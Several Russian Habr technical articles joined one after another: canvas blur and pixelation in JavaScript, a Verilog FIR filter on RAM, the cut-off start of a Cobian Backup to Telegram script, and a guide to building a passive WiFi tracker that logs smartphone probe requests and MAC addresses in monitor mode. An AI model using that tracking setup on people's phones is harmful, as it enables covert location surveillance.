![слои с канвасами для блюра](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8be/902/ef7/8be902ef759f01ab3b4bc7d4757d3fe4.png "слои с канвасами для блюра")слои с канвасами для блюраЗаблюрить весь слой достаточно просто. Для этого нужно применить фильтр blur с заданной интенсивностью, в моей реализации это 30. Яркость здесь применяется для того, чтоб усилить эффект блюра, так как для ярких изображений все равно будет видно слишком сильно, что под блюром. Затем остается только отрисовать наш кадр видео на этом холсте.
```
const brightnessMax = blurIntensityMax + defaultBlurIntensity;
this.tmpContext.filter = `blur(${blurIntensity}px) brightness(${brightnessMax - blurIntensity}%)`;
this.tmpContext.drawImage(imageSource, 0, 0);
```
Теперь нужно вырезать наши объекты по координатам. У нас есть данные о всех объектах на каждом кадре (с координатами x, у, высотой и шириной, типом блюра), поэтому достаточно просто пройтись по всем этим объектам на кадре и сделать немножко магии.
Формируем данные об области, где находится объект.
```
const displayRect = {
x: occurrence.x,
y: occurrence.y,
w: occurrence.w,
h: occurrence.h,
};
```
Это получается квадрат, но нам же нужен эллипс…Хорошо, хорошо, сейчас все будет.
Применив немного школьных знаний, мы получаем радиусы по высоте и ширине и находим центр эллипса. Рисуем эллипсы и ограничиваем их области рисования с помощью `clip`.
Ну и последний шаг. В зависимости от того, как мы будем блюрить ( внутри объекта или снаружи), в методе `drawImage` будут браться разные слои. Если нам нужен блюр вне объекта, мы берем изображение с видео, если внутри, мы берем с заблюренного холста.
```
this.displayContext.save();
// draw ellipse
this.displayContext.beginPath();
const radiusX = displayRect.w / 2;
const radiusY = displayRect.h / 2;
const centerX = displayRect.x + radiusX;
const centerY = displayRect.y + radiusY;
const rotation = Math.PI;
const startAngle = 0;
const endAngle = rotation * 2;
this.displayContext.ellipse(
centerX,
centerY,
radiusX,
radiusY,
rotation,
startAngle,
endAngle,
);
this.displayContext.closePath();
this.displayContext.clip();
this.displayContext.drawImage(
occurrence.isBlurOut ? imageSource : this.tmpCanvas,
drawSourceRect.x, drawSourceRect.y, drawSourceRect.w, drawSourceRect.h,
displayRect.x, displayRect.y, displayRect.w, displayRect.h,
);
this.displayContext.restore();
```
Вы могли заметить, что объекты зачем то сортируются по полю `isBlurOut`.
```
Object.values(occurrencesByFrame).sort((a: any, b: any) => b.isBlurOut - a.isBlurOut)
```
Это для случая, когда у нас на кадре присутствуют объекты с внешним блюром, и объекты с внутренним и они пересекаются в какой-то области, и чтобы объект с внутренним блюром был поверх изображения, нам нужно отрисовать сначала все объекты с внешним, а затем поверх отрисовать с внутренним.
![перекрытие объектов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/25d/008/6bb/25d0086bbd7c93d4318bfc92fd83bee9.png "перекрытие объектов")перекрытие объектов### Пикселизация
Для пикселизации будет немного сложнее уже. Рассмотрим сначала кейс с пикселизацией внутри объекта. У нас опять же есть 2 слоя поверх канваса с отрисованным видео. Но тут есть небольшой хак еще.
На слое, где мы блюрили весь холст, теперь мы уменьшаем наше изображение в 12.5 раз и рисуем его. В формуле `downsizeRatio` присутствует `blurIntensity`, для того, чтоб мы могли уменьшать или увеличивать размер пикселей.
```
const halfPerimeter = this.height + this.width;
this.downsizeRatio = (halfPerimeter / PERIMETER_DOWNSIZE_MULTIPLIER)
* (blurIntensity / 100);
this.tmpContext.drawImage(
imageSource,
0, 0, this.width, this.height,
0, 0, this.width / this.downsizeRatio, this.height / this.downsizeRatio,
);
```
Получаем такой результат
![уменьшенное изображение](https://habrastorage.org/r/w1560/getpro/habr/upload_files/58b/9f0/d88/58b9f0d885988703bda49e06fab73a1e.png "уменьшенное изображение")уменьшенное изображениеТеперь, когда мы пройдемся по всем объектам на кадре, мы получим такой результат, потому что мы рисуем эллипсы в реальном размере, но картинку берем с маленького изображения в левом верхнем углу. Получается мы его растягиваем и получаем пиксельное изображение.
![получаем запикселенное изображение](https://habrastorage.org/r/w1560/getpro/habr/upload_files/66b/df9/ef5/66bdf9ef57b96c0d34a9786b2459c49c.png "получаем запикселенное изображение")получаем запикселенное изображениеМагия!
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/500/e59/4e7/500e594e7a84f0e63ccb5da06f3073f5.png)Осталось рассмотреть пикселизацию всего кадра. Это достаточно трудозатратная операция и парой строк кода не отделаешься.
```
const ctx = imageSource.getContext('2d');
const imgData = ctx && ctx.getImageData(0, 0, this.width, this.height).data;
if (!imgData) return;
const perimeter = ( this.width + this.height) * 2;
let pixelSize = Math.floor((perimeter / PERIMETER_DOWNSIZE_MULTIPLIER)
* (blurIntensity / blurIntensityMax));
for (let row = 0; row < this.height; row += pixelSize) {
for (let col = 0; col < this.width; col += pixelSize) {
let pixel = (col + ( row * this.width )) * 4;
this.tmpContext.fillStyle = `rgba(${imgData[pixel]},${imgData[pixel + 1]},${imgData[pixel + 2]},${imgData[pixel + 3]})`;
this.tmpContext.fillRect(col, row, pixelSize, pixelSize);
}
}
```
Нужно получить `imageData` с канваса с отрисованным видео, это будет здоровенный массив с описанием пикселей изображения. Каждые 4 элемента в этом массиве описывают RGBA каждого пикселя.
```
const imgData = ctx && ctx.getImageData(0, 0, this.width, this.height).data;
```
![массив с описанием изображения](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b11/f69/591/b11f69591dcb30173ec35604ee46f98f.png "массив с описанием изображения")массив с описанием изображенияВот почему пикселизация всего кадра очень трудоемкая операция.
Но не все так плохо, нам не по всему этому массиву надо пробегаться. В зависимости от `pixelSize` (размер пикселя, или другими словами, сколько пикселей мы хотим объединить в один квадрат), во столько раз меньше у нас будет обход этого массива.
Пробегаясь по каждому пикселю, кратному `pixelSize`, мы просчитываем его позицию в массиве с RGBA представлением изображения по формуле:
```
let pixel = (col + ( row * this.width )) * 4;
```
А затем применяем наше изменение на канвас, рисуя этот пиксель размером `pixelSize` и его цветом:
```
this.tmpContext.fillStyle = `rgba(${imgData[pixel]},${imgData[pixel + 1]},${imgData[pixel + 2]},${imgData[pixel + 3]})`;
this.tmpContext.fillRect(col, row, pixelSize, pixelSize);
```
Помните, мы затемняли изображение с помощью filter для гауссовского блюра? Так вот, забудьте про такую реализацию :)
```
this.tmpContext.filter = `brightness(${brightnessMax - blurIntensity}%)`;
```
При пикселизации такая реализация отрабатывает оооочень долго, для одного кадра изменяется в секундах, можете проверить, нажав на кнопку `Pixelate with canvas filter` в [демо](https://objects-blur-demo.vercel.app).
Но мы же не будем на этом сдаваться, у нас же в дано было немножко знаний по CSS, поэтому самое время их применить.
```
this.tmpCanvas.style.filter = `brightness(${brightnessMax - blurIntensity}%)`;
```
Все, применили :)
Проверить результат можно в [демке](https://objects-blur-demo.vercel.app), нажав на кнопку `Pixelate with css filter`. Он дейстивельно удивит вас.
### Заключение
Спасибо, что прочли статью до конца. Полную реализацию примера можно найти на [GitHub](https://github.com/yantsishko/objects-blur-example) и посмотреть [онлайн демо тут](https://objects-blur-demo.vercel.app).
Нет ничего невозможного, вопрос лишь времени.
P.S. Если кто подскажет, как при пикселизации смешать цвета соседних пикселей, чтоб было не так "грубо", буду очень благодарен. `OpenCV.js` не предлагать, слишком накладная либка. | https://habr.com/ru/post/574248/ | null | ru | null |
# Отслеживание устройств через пассивное прослушивание WiFi
За последний год мне попадалось много историй использования пассивного отслеживания WiFi. В основном все сосредотачиваются на вопросах безопасности и приватности, но мало кто рассказывает, как это работает. Я сделал целый проект Casual Encounters и могу поделиться информацией о работе системы, о том, как избежать слежки, и как её построить (в исследовательских целях, разумеется). Не пробуйте повторить это дома.
#### Пробные запросы
Когда WiFi клиент пробует связаться с известной сетью, у него есть два варианта. Первый используют ноутбуки и прочие устройства, не являющиеся смартфонами. Он включает поиск сигнальных пакетов (Beacon Frames). Эти пакеты рассылают роутеры, чтобы объявить о своём присутствии. Клиент находит уже известную ему сеть и соединяется с ней. Второй вариант, который обычно используется смартфонами, включает периодическую рассылку пробных запросов (Probe Requests), содержащих уникальный мак-адрес клиента и иногда имя сети, которое ему известно. Преимущество второго подхода в том, что он срабатывает быстрее. А кроме этого, его гораздо легче использовать в своих целях.
#### Режим прослушивания (Monitor Mode)
Устройства WiFi умеют работать в шести режимах. Чтобы прослушивать трафик, устройству надо переключиться в режим прослушивания. После этого оно не афиширует себя, поэтому наличие таких устройств очень сложно установить.
#### Защита
Теоретически, от этих прослушек очень просто защититься. Если выключать WiFi на телефоне, когда он не нужен (то есть, вы далеко от тех мест, где имеются доверенные сети), телефон перестанет отправлять запросы и вас отследить будет нельзя. Практически же каждый раз выключать WiFi было бы довольно нудно.
Для андроида есть несколько приложений для облегчения процесса. Например, AVG PrivacyFix позволяет настроить список доверенных сетей, при наличии которых ваш WiFi будет включён. Есть и другие приложения на эту тему.
В случае iOS ваш выбор ограничен. Если не использовать jailbroken, защищённый режим работы яблофона не пустит приложения к рубильнику WiFi. В iOS 7 появился разве что более удобный доступ к меню WiFi, но это всё равно надо делать вручную.
#### Строим трекер
Можно, конечно, просто использовать ноутбук – даже MacBook. Устанавливаете Wireshark и настраиваете фильтр для пробных запросов. Но это не так интересно, к тому же, если вы захотите построить целую сеть трекеров, использовать для этого ноутбуки будет довольно накладно.
Для таких ненакладных целей хватит и Raspberry Pi с беспроводным адаптером, или (что мне больше нравится), роутера TP-LINK MR-3020 со специальной прошивкой. Эти варианты небольшие и их можно запитать от 5-вольтовой батарейки.
Настройка Pi будет совсем простой, т.к. там уже есть рабочая файловая система, но я предпочитаю роутер MR-3020. Это недорогое и автономное решение. Поэтому я буду описывать настройку роутера, а если вам захочется использовать Pi, то:
— можно пропустить шаги до Настройки режима прослушивания
— у этих двух устройств разные версии Linux, поэтому какие-то файлы с настройками могут находиться в разных местах и у них могут быть разные менеджеры пакетов
— более мощные радио типа AWUS036H могут потребовать USB-хаб с внешним питанием
#### Настройка роутера
Вам понадобятся:
— TP-LINK MR-3020 router ($34.99 на Amazon). Должны работать и аналоги, типа TP-LINK TL-WR703N
— USB флэшка (2-4 Гб)
— Ethernet-кабель
Первая часть инструкций взята от [проекта PirateBox](http://daviddarts.com/piratebox-diy-openwrt), поскольку первичная настройка устройств идентична.
1. Скачайте [копию OpenWrt](http://piratebox.aod-rpg.de/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.bin) для MR3020 (модификация от Matthias Strubel включает все необходимые модули ядра).
Дополнительная информация: [forum.daviddarts.com/read.php?2](http://forum.daviddarts.com/read.php?2),3974,4009#msg-4009
Обсуждение прошивки: [forum.openwrt.org/viewtopic.php?pid=207769#p207769](https://forum.openwrt.org/viewtopic.php?pid=207769#p207769)
Прошивка для WR703N: [downloads.openwrt.org/attitude\_adjustment/12.09-beta2/ar71xx/generic](http://downloads.openwrt.org/attitude_adjustment/12.09-beta2/ar71xx/generic/)
2. Переключите переключатель рядом с портом LAN/WAN в положение WISP
3. Отключите WiFi ноутбука
4. Подключите роутер через ethernet к компьютеру и откройте в браузере [192.168.0.254](http://192.168.0.254) (MR3020) или [192.168.1.1](http://192.168.1.1) (WR703N)
5. Введите логин/пароль (admin / admin)
6. Перейдите к System Tools > Firmware Upgrade, выберите прошивку OpenWRT
Текст прошивки WR703N китайский. Для прошивки через веб-интерфейс выберите последнее меню слева, затем третий пункт подменю. [Подробнее](https://groups.google.com/forum/#%21msg/village-telco-dev/UlGxUTlj9mM/nOMZKmoJmNUJ).
7. После апгрейда система перезапустится
8. Зайдите туда через telnet
```
telnet 192.168.1.1
```
9. Командой passwd задайте пароль. Это даст доступ к SSH
```
passwd
```
10. При помощи vi отредактируйте настройки сети. Предположим, что ваш основной шлюз имеет адрес 192.168.2.1. Адрес OpenWrt не должен совпадать с ним, но должен быть в той же подсети.
```
vi /etc/config/network
```
Поменяйте файл до такого состояния:
```
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config interface 'lan'
option ifname 'eth0'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.2.111'
option netmask '255.255.255.0'
option gateway '192.168.2.1'
list dns '192.168.2.1'
list dns '8.8.8.8'
```
11. Отключите роутер от сети
12. Включите WiFi на ноутбуке
13. Подключите MR3020 (или WR703N) к роутеру-шлюзу через Ethernet и включите настроенный роутер в сет. Подождите минуту. С компьютера, подключённого к локалке, попробуйте зайти на роутер
```
ssh root@192.168.2.111
```
14. Пинганите google для проверки настроек
```
ping google.com
```
15. Добавьте поддержку USB в OpenWrt (если вы не использовали уже настроенную прошивку из шага 1):
```
opkg update
opkg install kmod-usb-uhci
insmod usbcore ## may return: file exists
insmod uhci
opkg install kmod-usb-ohci ## may return: up to date.
insmod usb-ohci
```
Настройка USB
Отформатируйте флэшку на две партиции – основная Ext4 и swap. swap должна быть между 256 и 512 Мб.
Зайдите по ssh на роутер.
Установите пакеты для поддержки Ext4:
```
root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg install block-mount kmod-fs-ext4
```
Вставьте флэшку в роутер. Проверьте, что она определилась.
```
root@OpenWrt:~# ls /dev | grep sda
sda
sda1
sda2
```
Настройка файловой системы
Теперь мы сделаем sda1 основой корневой файловой системы
(как описано тут [wiki.openwrt.org/doc/howto/extroot#openwrt](http://wiki.openwrt.org/doc/howto/extroot#openwrt))
```
root@OpenWrt:~# mkdir /mnt/sda1
root@OpenWrt:~# mount /dev/sda1 /mnt/sda1
```
Проверим, что всё замаунтилось (должно вернуть /dev/sda1 на /mnt/sda1 type ext4):
```
root@OpenWrt:~# mount | grep sda1
```
Скопируем файлы с роутера на флэшку, чтобы все необходимые настройки были доступны, когда мы перезагрузимся и USB окажется основой файловой системы.
```
root@OpenWrt:~# tar -C /overlay -cvf - . | tar -C /mnt/sda1 -xf -
```
Добавьте в /etc/config/fstab автоматическое подключение /dev/sda1.
```
root@OpenWrt:~# vi /etc/config/fstab
```
Используйте следующие настройки:
```
config global automount
option from_fstab 1
option anon_mount 1
config global autoswap
option from_fstab 1
option anon_swap 0
config mount
option target /overlay
option device /dev/sda1
option fstype ext4
option options rw,sync
option enabled 1
option enabled_fsck 0
config swap
option device /dev/sda2
option enabled 0
```
Перезагрузите роутер
```
root@OpenWrt:~# reboot
```
Когда все огоньки вновь загорятся, зайдите по ssh и проверьте, что флэшка правильно подцепилась.
```
root@OpenWrt:~# mount | grep sda1
/dev/sda1 on /overlay type ext4 (rw,sync,relatime,user_xattr,barrier=1,data=ordered)
```
Если вы не можете зайти через ssh, значит копирование файлов прошло неправильно. Выньте флэшку, перезагрузите его через питание. Когда он запустится, вы сможете зайти туда через ssh. Затем снова вставьте флэшку и повторите предыдущие шаги.
#### Настраиваем swap
У роутера немного памяти, долгие процессы могут занять её всю. Для проверки памяти введите
```
root@OpenWrt:~# free
```
Для решения проблем с памятью можно использовать партицию swap. Сначала проверим, что она работает:
```
root@OpenWrt:~# mkswap /dev/sda2
```
Теперь подключим её к свопу:
```
root@OpenWrt:~# swapon /dev/sda2
```
Снова запустим free для проверки того, что она подключилась.
```
root@OpenWrt:~# free
total used free shared buffers
Mem: 29212 19160 10052 0 1972
-/+ buffers: 17188 12024
Swap: 475644 0 475644
```
Чтобы это происходило автоматически лучше всего сделать отдельный скрипт. Кстати, заодно вы узнаете, как делать такие скрипты.
#### Скрипт для подключения Swap при старте
Начнём с создания скрипта:
```
root@OpenWrt:~# vi /etc/init.d/swapon
```
Введите в файл следующее:
```
#!/bin/ash /etc/rc.common
START=109
STOP=151
start() {
echo "start swap"
swapon /dev/sda2
}
stop(){
echo "stop"
}
```
Сделайте его исполняемым:
```
root@OpenWrt:~# chmod +x /etc/init.d/swapon
```
Теперь нужно сделать symlink с /etc/rc.d на него:
```
root@OpenWrt:~# ln -s /etc/init.d/swapon /etc/rc.d/S109swapon
```
S109 сообщает системе приоритет скрипта. Все файлы в /etc/rc.d начинаются с S##. S109 должен разместить его в самом конце, после того, как запустятся все остальные.
Перезагрузимся, зайдём через ssh и проверим подключение свопа:
```
root@OpenWrt:~# free
total used free shared buffers
Mem: 29212 19276 9936 0 2152
-/+ buffers: 17124 12088
Swap: 475644 0 475644
```
#### Настраиваем режим прослушивания
Почти всё готово. Нам надо отредактировать настройки беспроводного подключения:
```
root@OpenWrt:~# vi /etc/config/wireless
```
Закомментируйте строчку запрета wifi:
```
#option disabled 1
```
Используйте следующие настройки:
```
config wifi-iface
option device radio0
option network lan
option mode monitor
option hidden 1
```
Перезапустите wifi interface:
```
root@OpenWrt:~# wifi down; wifi up
```
Сообщения об ошибках типа тех, что представлены ниже, не должны повлиять на работу wifi:
```
ifconfig: SIOCSIFHWADDR: Invalid argument
command failed: Device or resource busy (-16)
```
Проверьте, что wifi работает и находится в режиме monitor:
```
root@OpenWrt:~# iwconfig
lo no wireless extensions.
wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.412 GHz Tx-Power=15 dBm
RTS thr:off Fragment thr:off
Power Management:on
eth0 no wireless extensions.
br-lan no wireless extensions.
```
#### Установка пакетов
Теперь мы установим все необходимые для сканера пакеты:
```
root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg upgrade tar wget
root@OpenWrt:~# opkg install python tcpdump unzip
root@OpenWrt:~# wget http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz
root@OpenWrt:~# tar -xvf scapy-latest.tar.gz
root@OpenWrt:~# cd scapy*
root@OpenWrt:~# python setup.py install
root@OpenWrt:~# cd ..; rm -rf scapy*
```
#### Проверка скрипта сканирования
Скопируем скрипты с git (или их можно скачать в виде zip)
```
root@OpenWrt:~# mkdir /overlay/scripts; cd /overlay/scripts
root@OpenWrt:/overlay/scripts# wget http://bitbucket.org/edkeeble/wifi-scan/get/e2a08627f05d.zip --no-check-certificate -O wifiscan.zip
root@OpenWrt:/overlay/scripts# unzip wifiscan.zip
root@OpenWrt:/overlay/scripts# mv edkeeble-wifi-scan-e2a08627f05d wifi-scan
```
Как ответственные хакеры, мы не будем перехватывать все запросы. Мы сделаем белый список, куда включим только наши телефоны.
```
root@OpenWrt:/overlay/scripts# cd wifi-scan
root@OpenWrt:/overlay/scripts/wifi-scan# vi wifiscan.py
WHITELIST = [‘00:00:00:00:00:00’,] # замените на мак-адрес телефона
```
Проверим скрипт:
```
root@OpenWrt:/overlay/scripts/wifi-scan# python wifiscan.py wlan0
```
Достаньте телефон, отсоединитесь от текущей сети, но не выключайте wifi. В терминале вы должны начать видеть запросы, отправляемые им. Можно заметить, что не у всех запросов будет указан SSID. Запросы без SSID – широковещательные, они предназначены для всех точек доступа, находящихся в пределах досягаемости.
Ctrl-C остановит работу скрипта
#### Итоги
Ну и всё. Теперь у вас есть роутер, который отслеживает проходящие мимо него смартфоны. Конечно, наш скрипт не особо полезен в таком виде. Его, например, можно подредактировать так, чтобы он собирал больше данных, писал их в лог, отслеживал перемещение смартфонов между разными вашими устройствами, и т.д. | https://habr.com/ru/post/252831/ | null | ru | null |
# Verilog. Цифровой фильтр на RAM
Что делать, если нужно разместить большой цифровой фильтр на FPGA? А если плата уже разведена? Железо старое? В проекте осталось мало места? В этом топике будет рассмотрена одна из возможных реализаций цифрового КИХ фильтра на FPGA Altera Cyclone II EP2C15. По сути это продолжение [вот этой темы](http://habrahabr.ru/blogs/easyelectronics/134035/) из песочницы.
Будет рассказано, как сделать сдвиговый регистр на RAM, уменьшив при этом затраты LE, и как из этого получить цифровой фильтр.
Как работает фильтр? Базовая операция — умножение с накоплением. Коэффициенты фильтра перемножаются со значениями в сдвиговом регистре и суммируются. Все, если не вдаваться в подробности. Необходимые ингредиенты озвучены, теперь перейдем к делу.
##### Умножение с накоплением
Считаем, что мы уже определились и желаемым видом АЧХ фильтра, с порядком фильтра, получили его коэффициенты, знаем скорость входных данных. Еще лучше, если эти параметры каким-либо образом параметризовать. Так и попытаемся сделать. Вот такая получилась у меня реализация умножения с накоплением:
```
module mult
#(parameter COEF_WIDTH = 24, parameter DATA_WIDTH = 16, parameter ADDR_WIDTH = 9, parameter MULT_WIDTH = COEF_WIDTH + DATA_WIDTH)
(
input wire clk,
input wire en,
input wire [ (ADDR_WIDTH-1) : 0 ] ad,
input wire signed [ (COEF_WIDTH-1) : 0 ] coe,
input wire signed [ (DATA_WIDTH-1) : 0 ] pip,
output wire signed [ (DATA_WIDTH-1) : 0 ] dout
);
wire signed [(MULT_WIDTH-1) : 0 ] mu = coe * pip;
reg signed [ (MULT_WIDTH-1) : 0 ] rac = {(MULT_WIDTH){1'b0}};
reg signed [ (DATA_WIDTH-1) : 0 ] ro = {DATA_WIDTH{1'b0}};
assign dout = ro;
always @(posedge clk)
if(en)
if(ad == {ADDR_WIDTH{1'b0}})
begin
rac <= mu;
ro <= rac[ (MULT_WIDTH-2) -: (DATA_WIDTH) ];
end
else
rac <= rac + mu;
endmodule
```
Почему ADDR\_WIDTH = 9? Потому что порядок фильтра подобран равным 2^9 = 512. Во-первых, это сделано для простоты получения частоты с делителя или PLL. Во-вторых у меня была возможность повышать частоту в 512 раз, потому что sample rate был 16 кГц. Но об этом дальше. Конечно не очень читабельно из-за параметризации, но разобраться можно.
##### Коэффициенты фильтра
Прочли топик из песочницы по ссылке, что была наверху? Там был шаблон RAM? Вот этот шаблон больше нас не устраивает. Не получилось у меня заставить ту RAM читать/писать за один такт. Может все от не знания, но коэффициенты фильтра хранятся теперь вот в таком модуле:
```
module coef
#(parameter DATA_WIDTH=24, parameter ADDR_WIDTH=9)
(
input wire [(DATA_WIDTH-1):0] data,
input wire [(ADDR_WIDTH-1):0] addr,
input wire we,
input wire clk,
output wire [(DATA_WIDTH-1):0] coef_rom
);
reg [DATA_WIDTH-1:0] rom[2**ADDR_WIDTH-1:0];
reg [(DATA_WIDTH-1):0] data_out;
assign coef_rom = data_out;
initial
begin
rom[0 ] = 24'b000000000000000000000000;
rom[1 ] = 24'b000000000000000000000001;
//new year tree
rom[510] = 24'b000000000000000000000001;
rom[511] = 24'b000000000000000000000000;
end
always @ (posedge clk)
begin
data_out <= rom[addr];
if (we)
rom[addr] <= data;
end
endmodule
```
Примерно 508 коэффициентов были пропущены, чтобы не нагонять уныние. Почему 24 бита, а не 16? Спектр мне больше нравится. Но это не принципиально. Поменять коэффициенты — занятие не долгое. К тому же можно прикрепить файл инициализации памяти скриптом $readmemb или $readmemh после initial begin.
##### Сдвиговый регистр
Вот собственно основная причина, почему я это пишу. Может кто-то подумает про себя, что это и так знал. Может еще что подумает об авторе хорошего, что-то там про колесо.
Тут будет написано, как на RAM сделать сдвиговый регистр при помощи обертки. Наверно каждый читал в handbook на свою FPGA о том, что RAM может работать, как сдвиговый регистр. Как? У меня получилось, в этом нет ничего сложного. Только зачем? Семейство Cyclone позиционируется, как устройства с уклоном на память «devices feature embedded memory structures to address the on-chip memory needs of FPGA designs.» И нужно уметь этой памятью пользоваться. Задача решается в два эта: RAM и обертка. RAM аналогична случаю с хранением коэффициентов фильтра:
```
module pip
#(parameter DATA_WIDTH=16, parameter ADDR_WIDTH=9)
(
input wire [(DATA_WIDTH-1):0] data,
input wire [(ADDR_WIDTH-1):0] read_addr, write_addr,
input wire we,
input wire clk,
output wire [(DATA_WIDTH-1):0] pip_ram
);
reg [DATA_WIDTH-1:0] ram[2**ADDR_WIDTH-1:0];
reg [(DATA_WIDTH-1):0] data_out;
assign pip_ram = data_out;
always @ (posedge clk)
begin
data_out <= ram[read_addr];
if (we)
ram[write_addr] <= data;
end
endmodule
```
Единственное, что непроинициализировав RAM она автоматически заполняется нулями. Кстати, этим приемом можно пользоваться при записи коэффициентов фильтра, если их меньше, чем 2^N.
Теперь сама обертка:
```
module upr
#(parameter COEF_WIDTH = 24, parameter DATA_WIDTH = 16, parameter ADDR_WIDTH = 9)
(
input wire clk,
input wire en,
input wire [ (DATA_WIDTH-1) : 0 ] ram_upr,
input wire [ (DATA_WIDTH-1) : 0 ] data_in,
output wire [ (DATA_WIDTH-1) : 0 ] upr_ram,
output wire we_ram,
output wire [ (ADDR_WIDTH-1) : 0 ] adr_out
);
assign upr_ram = (r_adr == {ADDR_WIDTH{1'b0}}) ? data_in : ram_upr;
assign we_ram = (r_state == state1) ? 1'b1 : 1'b0;
assign adr_out = r_adr;
reg [ 2 : 0 ] r_state = state0;
localparam state0 = 3'b001,
state1 = 3'b010,
state2 = 3'b100;
reg [ (ADDR_WIDTH-1) : 0 ] r_adr = {ADDR_WIDTH{1'b0}};
always @(posedge clk)
if(en)
begin
case(r_state)
state0:
r_state <= state1;
state1:
r_state <= state1;
state2:
begin
end
endcase
end
always @(posedge clk)
case(r_state)
state0:
r_adr <= {ADDR_WIDTH{1'b0}};
state1:
r_adr <= r_adr + 1'b1;
state2:
begin
end
endcase
endmodule
```
Один и тот же адрес подается на RAM с коэффициентами и сдвиговым регистром. По обратной связи через RAM со сдвигового регистра подается на модуль предыдущее значение, которое записывается по текущему адресу. Таким образом сдвиг осуществляется не за один такт, а за каждый по одному значению. На каждый нулевой адрес записывается входное слово.
Зачем я упорно пользуюсь конечным автоматом, хоть некоторые состояния не задействованы? Вспоминаем, что было написано по ссылке в самом начале. Теперь этот модуль работает в два раза быстрее, а значит при прочих равных еще и простаивает половину времени. Теоретически, эту половину можно чем-нибудь занять. Это может быть пересчет коэффициентов фильтра для адаптивной фильтрации, или работа второго фильтра (что-то вроде тайм слота). Тут этого ничего нету и FSM тут не нужен, но я все равно оставил этот атавизм. Убрать FSM всегда проще, чем вписывать его.
##### Итого
Тут приведу топовый файл, который получился из шимантика:
```
module filtr_ram(
CLK,
D_IN,
MULT
);
input CLK;
input [15:0] D_IN;
output [15:0] MULT;
wire SYNTHESIZED_WIRE_13;
wire [15:0] SYNTHESIZED_WIRE_1;
wire [8:0] SYNTHESIZED_WIRE_14;
wire SYNTHESIZED_WIRE_4;
wire [15:0] SYNTHESIZED_WIRE_15;
wire SYNTHESIZED_WIRE_6;
wire [0:23] SYNTHESIZED_WIRE_8;
wire [23:0] SYNTHESIZED_WIRE_11;
assign SYNTHESIZED_WIRE_4 = 1;
assign SYNTHESIZED_WIRE_6 = 0;
assign SYNTHESIZED_WIRE_8 = 0;
pip b2v_inst(
.we(SYNTHESIZED_WIRE_13),
.clk(CLK),
.data(SYNTHESIZED_WIRE_1),
.read_addr(SYNTHESIZED_WIRE_14),
.write_addr(SYNTHESIZED_WIRE_14),
.pip_ram(SYNTHESIZED_WIRE_15));
defparam b2v_inst.ADDR_WIDTH = 9;
defparam b2v_inst.DATA_WIDTH = 16;
upr b2v_inst1(
.clk(CLK),
.en(SYNTHESIZED_WIRE_4),
.data_in(D_IN),
.ram_upr(SYNTHESIZED_WIRE_15),
.we_ram(SYNTHESIZED_WIRE_13),
.adr_out(SYNTHESIZED_WIRE_14),
.upr_ram(SYNTHESIZED_WIRE_1));
defparam b2v_inst1.ADDR_WIDTH = 9;
defparam b2v_inst1.COEF_WIDTH = 24;
defparam b2v_inst1.DATA_WIDTH = 16;
coef b2v_inst3(
.we(SYNTHESIZED_WIRE_6),
.clk(CLK),
.addr(SYNTHESIZED_WIRE_14),
.data(SYNTHESIZED_WIRE_8),
.coef_rom(SYNTHESIZED_WIRE_11));
defparam b2v_inst3.ADDR_WIDTH = 9;
defparam b2v_inst3.DATA_WIDTH = 24;
mult b2v_inst5(
.clk(CLK),
.en(SYNTHESIZED_WIRE_13),
.ad(SYNTHESIZED_WIRE_14),
.coe(SYNTHESIZED_WIRE_11),
.pip(SYNTHESIZED_WIRE_15),
.dout(MULT));
defparam b2v_inst5.ADDR_WIDTH = 9;
defparam b2v_inst5.COEF_WIDTH = 24;
defparam b2v_inst5.DATA_WIDTH = 16;
endmodule
```
Сразу видно, что можно поправить, чтобы стало красивее.
Теперь еще раз о том, что получилось. Главный минус — данный фильтр full serial. То есть частоту работы фильтра нужно поднимать в 2^(ADDR\_WIDTH) раз относительно скорости входных данных. Эту проблему можно решить, если импульсный отклик фильтра симметричный, но при этом RAM сдвигового регистра придется разбивать на два модуля, в которые будут посылаться 2 адреса, значения будут из RAM будут складываться и умножаться в модуле mult, которому придется дописывать еще один вход. Тогда частоту нужно будет поднимать в 2^(ADDR\_WIDTH-1) раз.
Исходники и проект в Quartus 9.0
[ifolder.ru/27556340](http://ifolder.ru/27556340) | https://habr.com/ru/post/134485/ | null | ru | null |
# Cobian Backup и отправка сообщений в Telegram
Думаю найдется очень мало системных администраторов, которые не выполняют резервное копирование тех или иных данных. Эта заметка будет полезна (надеюсь) для тех, кто пользуется таким программным продуктом как **Cobian Backup**. А в особенности тем, у кого резервное копирование осуществляется не в одном месте, или даже в разных городах.
Как вы уже поняли из заголовка, я хочу поделиться с Вами маленьким скриптом, который позволяет отправлять **что-то** (в моем случае кусочек log файла) в telegram.
Для тех кто задается вопросом почему именно Telegram, ведь Cobian Backup умеет оправлять сообщения на почту — объясню свою точку зрения. Telegram — это популярный развивающийся месенджер, который использует огромное количество людей. На мой субъективный взгляд — это удобнее, чем почтовый клиент. Так же этот способ был опробован на ооооочень плохом интернете — все работает. Причем отправка через email в одинаковых условиях не срабатывала.
### Скрипт для отправки сообщений в Telegram
Логику для себя я построил следующую. При выполнении задания в Cobian Backup в предпоследней строке лог файла у нас присутствует примерно следующий текст: " 2017-05-31 12:11 Копирование завершено. Ошибок: 0, обработано файлов: 3893, скопировано файлов: 3893, общий размер: 2,43 GB ". Значит мне каким то образом нужно выдернуть эту предпоследнюю строку из лог файла. Ну и собственно то, что я сделал — ниже.
Для отправки сообщений будем использовать PowerShell. Сам скрипт я позаимствовал [**тут**](https://groosha.gitbooks.io/telegram-bot-lessons/content/telegram_powershell.html), но чуть чуть его видоизменил.
```
$chat_id = 'chat_id' #Здесь указываем id чата, куда нам нужно отправлять сообщения. Сообщения отправляются как обычным пользователям, так и группам.
$date=get-date -uformat "%Y-%m-%d" #Вытягиваем дату в нужном нам формате
